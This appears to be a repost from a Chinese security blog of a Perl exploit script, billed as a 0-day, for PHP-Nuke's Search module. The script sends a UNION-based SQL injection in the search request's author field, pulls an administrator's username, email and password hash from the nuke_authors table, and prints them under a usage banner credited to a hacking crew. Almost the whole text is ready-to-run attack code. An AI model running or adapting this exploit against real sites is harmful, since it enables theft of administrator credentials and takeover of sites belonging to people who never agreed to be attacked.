【Oday】PHP-Nuke 2010-07-31 老系统内容 Oday

#!/usr/bin/perl
use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;

my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my ($Victime) = shift or &usage;
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Search');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
                        agent => 'Mozilla/5.0',
                        max_redirect => 0,
                        cookie_jar => $Cookies,
                        default_headers => HTTP::Headers->new,
                ) or die $!;
my $Response;
my $Referrer = "query=Dante90, WaRWolFz Crew&topic=&category=0&author=Dante90, WaRWolFz Crew&days=0&type=stories";

sub SQL_Injection {
        my ($Victime) = @_;
        return "Dante90' UNION--n SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`),5,6,7,8,9,10 FROM `nuke_authors` WHERE `aid`='${Victime}'-- ";
}

$Method->referer($HostName.'modules.php?name=Search');
$Method->content_type('application/x-www-form-urlencoded');
$Method->content("query=Dante90, WaRWolFz Crew&topic=&category=0&author=".SQL_Injection($Victime)."&days=0&type=stories");
$Response = $UserAgent->request($Method);
$Response->is_success or die "$HostName : ",$Response->message,"n";

if ($Response->content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i) {
        refresh($HostName, $1, $2, $3, $4);
        print " * Exploit Successfully Executed                        *n";
        print " -------------------------------------------------------- nn";
        system("pause");
} else {
        refresh($HostName, "", "", "", "");
        print " * Error extracting sensible data.n";
        print " * Exploit Failed                                       *n";
        print " -------------------------------------------------------- nn";
}

sub usage {
        system("cls");
        {
                print " n [0-Day] PHP-Nuke
                print " -------------------------------------------------------- n";
                print " * USAGE:                                               *n";
                print " * cd [Local Disk]:[Directory Of Exploit]             *n";
                print " * perl name_exploit.pl [victime]                       *n";
                print " -------------------------------------------------------- n";
                print " *          Powered By Dante90, WaRWolFz Crew           *n";
                print " * 

- dante90_founder[at]warwolfz.org  *n";
                print " -------------------------------------------------------- n";
        };
        exit;
}

sub refresh {
        system("cls");
        {
                print " n [0-Day] PHP-Nuke
                print " -------------------------------------------------------- n";
                print " * USAGE:                                               *n";
                print " * cd [Local Disk]:[Directory Of Exploit]             *n";
                print " * perl name_exploit.pl [victime]                       *n";
                print " -------------------------------------------------------- n";
                print " *          Powered By Dante90, WaRWolFz Crew           *n";
                print " * 

- dante90_founder[at]warwolfz.org  *n";
                print " -------------------------------------------------------- n";
        };
        print " * Victime Site: " . $_[0] . "n";
        print " * User ID: " . $_[1] . "n";
        print " * Username: " . $_[2] . "n";
        print " * Password: " . $_[4] . "n";
        print " * E-Mail: " . $_[3] . "n";
}

文章来源于lcx.cc:【Oday】PHP-Nuke

2010-07-31

老系统内容
Oday
PHP
SQL
远程
注入

约 385 字
预计阅读 1 分钟

相关推荐: Windows 各个操作系统的版本号

1985 - Windows 1.0 1987 - Windows 2.0 1990 - Windows 3.0 1991 - Windows 3.1 1993 - Windows NT 3.0 1995 - Windows 95 1996 - Windows…